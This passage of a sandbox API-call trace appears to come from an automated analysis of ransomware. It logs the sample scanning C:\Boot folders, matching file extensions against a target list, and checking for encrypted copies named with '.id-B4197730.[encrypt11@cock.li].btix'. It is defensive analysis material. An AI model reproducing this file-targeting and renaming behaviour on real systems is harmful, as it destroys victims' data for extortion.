hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0160.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x4234990 | out: hHeap=0x660000) returned 1 [0160.680] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0161.401] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0161.789] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0161.789] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0161.858] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0161.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0161.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0161.864] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.325] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.326] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41c0958 | out: hHeap=0x660000) returned 1 [0162.326] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.326] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.326] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.327] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41b0950 | out: hHeap=0x660000) returned 1 [0162.327] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 Thread: id = 100 os_tid = 0xfd8 [0146.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3b80e20 [0146.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3b90e28 [0146.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf118 [0146.482] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6fa318 [0146.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf1d8 [0146.483] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3e35020 [0146.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf130 [0146.485] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf130, Size=0x20) returned 0x69db28 [0146.485] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6bf130 [0146.485] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6bf130, Size=0x20) returned 0x69dba0 [0146.485] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.485] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.485] Wow64DisableWow64FsRedirection (in: OldValue=0x33dff50 | out: OldValue=0x33dff50*=0x0) returned 1 [0146.485] lstrlenW (lpString="kernel32.dll") returned 12 [0146.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69db28 | out: hHeap=0x660000) returned 1 [0146.485] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dba0 | out: hHeap=0x660000) returned 1 [0146.485] Sleep (dwMilliseconds=0x64) [0146.702] Sleep (dwMilliseconds=0x64) [0146.928] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0146.928] lstrlenW (lpString="memtest.exe.mui") returned 15 [0146.928] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.928] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=45472) returned 1 [0146.928] CloseHandle (hObject=0x34c) returned 1 [0146.928] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0146.928] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.068] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.068] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.068] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.068] lstrlenW (lpString=".doc") returned 4 [0147.068] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.068] lstrlenW (lpString=".docx") returned 5 [0147.068] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.068] lstrlenW (lpString=".pdf") returned 4 [0147.068] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.068] lstrlenW (lpString=".xls") returned 4 [0147.068] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.069] lstrlenW (lpString=".xlsx") returned 5 [0147.069] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.069] lstrlenW (lpString=".ppt") returned 4 [0147.069] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.069] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.069] lstrlenW (lpString=".zip") returned 4 [0147.069] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.069] lstrlenW (lpString=".rar") returned 4 [0147.069] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.069] lstrlenW (lpString=".bz2") returned 4 [0147.069] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.069] lstrlenW (lpString=".7z") returned 3 [0147.069] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.069] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.069] lstrlenW (lpString=".dbf") returned 4 [0147.069] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.069] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.069] lstrlenW (lpString=".1cd") returned 4 [0147.069] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.069] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.069] lstrlenW (lpString=".jpg") returned 4 [0147.069] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.069] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.069] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.069] lstrlenW (lpString=".doc") returned 4 [0147.069] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.069] lstrlenW (lpString=".docx") returned 5 [0147.069] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.069] lstrlenW (lpString=".pdf") returned 4 [0147.069] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.070] lstrlenW (lpString=".xls") returned 4 [0147.070] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.070] lstrlenW (lpString=".xlsx") returned 5 [0147.070] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.070] lstrlenW (lpString=".ppt") returned 4 [0147.070] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.070] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.070] lstrlenW (lpString=".zip") returned 4 [0147.070] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.070] lstrlenW (lpString=".rar") returned 4 [0147.070] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.070] lstrlenW (lpString=".bz2") returned 4 [0147.070] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.070] lstrlenW (lpString=".7z") returned 3 [0147.070] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.070] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.070] lstrlenW (lpString=".dbf") returned 4 [0147.070] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.070] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.070] lstrlenW (lpString=".1cd") returned 4 [0147.070] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.070] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0147.070] lstrlenW (lpString=".jpg") returned 4 [0147.070] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.070] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.070] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.071] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.071] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=76640) returned 1 [0147.071] CloseHandle (hObject=0x300) returned 1 [0147.071] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0147.071] GetFileAttributesW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.071] CreateFileW (lpFileName="C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.071] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.071] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.071] lstrlenW (lpString=".doc") returned 4 [0147.071] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.071] lstrlenW (lpString=".docx") returned 5 [0147.071] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.071] lstrlenW (lpString=".pdf") returned 4 [0147.071] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.072] lstrlenW (lpString=".xls") returned 4 [0147.072] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.072] lstrlenW (lpString=".xlsx") returned 5 [0147.072] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.072] lstrlenW (lpString=".ppt") returned 4 [0147.072] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.072] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.072] lstrlenW (lpString=".zip") returned 4 [0147.072] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.072] lstrlenW (lpString=".rar") returned 4 [0147.072] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.072] lstrlenW (lpString=".bz2") returned 4 [0147.072] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.072] lstrlenW (lpString=".7z") returned 3 [0147.072] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.072] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.072] lstrlenW (lpString=".dbf") returned 4 [0147.072] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.072] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.072] lstrlenW (lpString=".1cd") returned 4 [0147.072] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.072] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.072] lstrlenW (lpString=".jpg") returned 4 [0147.072] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.072] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.072] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.072] lstrlenW (lpString=".doc") returned 4 [0147.072] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.072] lstrlenW (lpString=".docx") returned 5 [0147.072] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.072] lstrlenW (lpString=".pdf") returned 4 [0147.073] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.073] lstrlenW (lpString=".xls") returned 4 [0147.073] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.073] lstrlenW (lpString=".xlsx") returned 5 [0147.073] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.073] lstrlenW (lpString=".ppt") returned 4 [0147.073] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.073] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.073] lstrlenW (lpString=".zip") returned 4 [0147.073] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.073] lstrlenW (lpString=".rar") returned 4 [0147.073] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.073] lstrlenW (lpString=".bz2") returned 4 [0147.073] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.073] lstrlenW (lpString=".7z") returned 3 [0147.073] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.073] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.073] lstrlenW (lpString=".dbf") returned 4 [0147.073] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.073] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.073] lstrlenW (lpString=".1cd") returned 4 [0147.073] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.073] lstrlenW (lpString="C:\\Boot\\sl-SI\\bootmgr.exe.mui") returned 29 [0147.073] lstrlenW (lpString=".jpg") returned 4 [0147.073] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.073] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.073] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.073] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.074] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=77152) returned 1 [0147.074] CloseHandle (hObject=0x300) returned 1 [0147.074] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0147.074] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.074] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.074] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.074] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.074] lstrlenW (lpString=".doc") returned 4 [0147.074] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.074] lstrlenW (lpString=".docx") returned 5 [0147.074] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.074] lstrlenW (lpString=".pdf") returned 4 [0147.074] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.074] lstrlenW (lpString=".xls") returned 4 [0147.074] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.074] lstrlenW (lpString=".xlsx") returned 5 [0147.074] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.074] lstrlenW (lpString=".ppt") returned 4 [0147.074] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.074] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString=".zip") returned 4 [0147.075] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.075] lstrlenW (lpString=".rar") returned 4 [0147.075] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.075] lstrlenW (lpString=".bz2") returned 4 [0147.075] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.075] lstrlenW (lpString=".7z") returned 3 [0147.075] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.075] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString=".dbf") returned 4 [0147.075] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.075] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString=".1cd") returned 4 [0147.075] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.075] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString=".jpg") returned 4 [0147.075] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.075] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString=".doc") returned 4 [0147.075] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.075] lstrlenW (lpString=".docx") returned 5 [0147.075] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.075] lstrlenW (lpString=".pdf") returned 4 [0147.075] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.075] lstrlenW (lpString=".xls") returned 4 [0147.075] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.075] lstrlenW (lpString=".xlsx") returned 5 [0147.075] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.075] lstrlenW (lpString=".ppt") returned 4 [0147.075] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.075] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.075] lstrlenW (lpString=".zip") returned 4 [0147.075] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.075] lstrlenW (lpString=".rar") returned 4 [0147.076] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.076] lstrlenW (lpString=".bz2") returned 4 [0147.076] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.076] lstrlenW (lpString=".7z") returned 3 [0147.076] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.076] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.076] lstrlenW (lpString=".dbf") returned 4 [0147.076] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.076] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.076] lstrlenW (lpString=".1cd") returned 4 [0147.076] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.076] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui") returned 34 [0147.076] lstrlenW (lpString=".jpg") returned 4 [0147.076] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.076] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.076] lstrlenW (lpString="memtest.exe.mui") returned 15 [0147.076] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.076] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=44888) returned 1 [0147.076] CloseHandle (hObject=0x300) returned 1 [0147.077] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0147.077] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.077] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.077] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.077] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.077] lstrlenW (lpString=".doc") returned 4 [0147.077] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.077] lstrlenW (lpString=".docx") returned 5 [0147.077] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.077] lstrlenW (lpString=".pdf") returned 4 [0147.077] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.077] lstrlenW (lpString=".xls") returned 4 [0147.077] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.077] lstrlenW (lpString=".xlsx") returned 5 [0147.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.077] lstrlenW (lpString=".ppt") returned 4 [0147.077] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.077] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.077] lstrlenW (lpString=".zip") returned 4 [0147.077] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.077] lstrlenW (lpString=".rar") returned 4 [0147.077] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.077] lstrlenW (lpString=".bz2") returned 4 [0147.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.077] lstrlenW (lpString=".7z") returned 3 [0147.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.077] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.077] lstrlenW (lpString=".dbf") returned 4 [0147.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString=".1cd") returned 4 [0147.078] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString=".jpg") returned 4 [0147.078] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString=".doc") returned 4 [0147.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0147.078] lstrlenW (lpString=".docx") returned 5 [0147.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0147.078] lstrlenW (lpString=".pdf") returned 4 [0147.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0147.078] lstrlenW (lpString=".xls") returned 4 [0147.078] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0147.078] lstrlenW (lpString=".xlsx") returned 5 [0147.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0147.078] lstrlenW (lpString=".ppt") returned 4 [0147.078] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString=".zip") returned 4 [0147.078] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0147.078] lstrlenW (lpString=".rar") returned 4 [0147.078] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0147.078] lstrlenW (lpString=".bz2") returned 4 [0147.078] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0147.078] lstrlenW (lpString=".7z") returned 3 [0147.078] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString=".dbf") returned 4 [0147.078] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0147.078] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.078] lstrlenW (lpString=".1cd") returned 4 [0147.078] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0147.079] lstrlenW (lpString="C:\\Boot\\sr-Latn-CS\\memtest.exe.mui") returned 34 [0147.079] lstrlenW (lpString=".jpg") returned 4 [0147.079] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0147.079] lstrcmpiW (lpString1=".mui", lpString2=".btix") returned 1 [0147.079] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0147.079] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0147.079] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=77152) returned 1 [0147.079] CloseHandle (hObject=0x300) returned 1 [0147.079] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0147.079] GetFileAttributesW (lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.079] CreateFileW (lpFileName="C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, 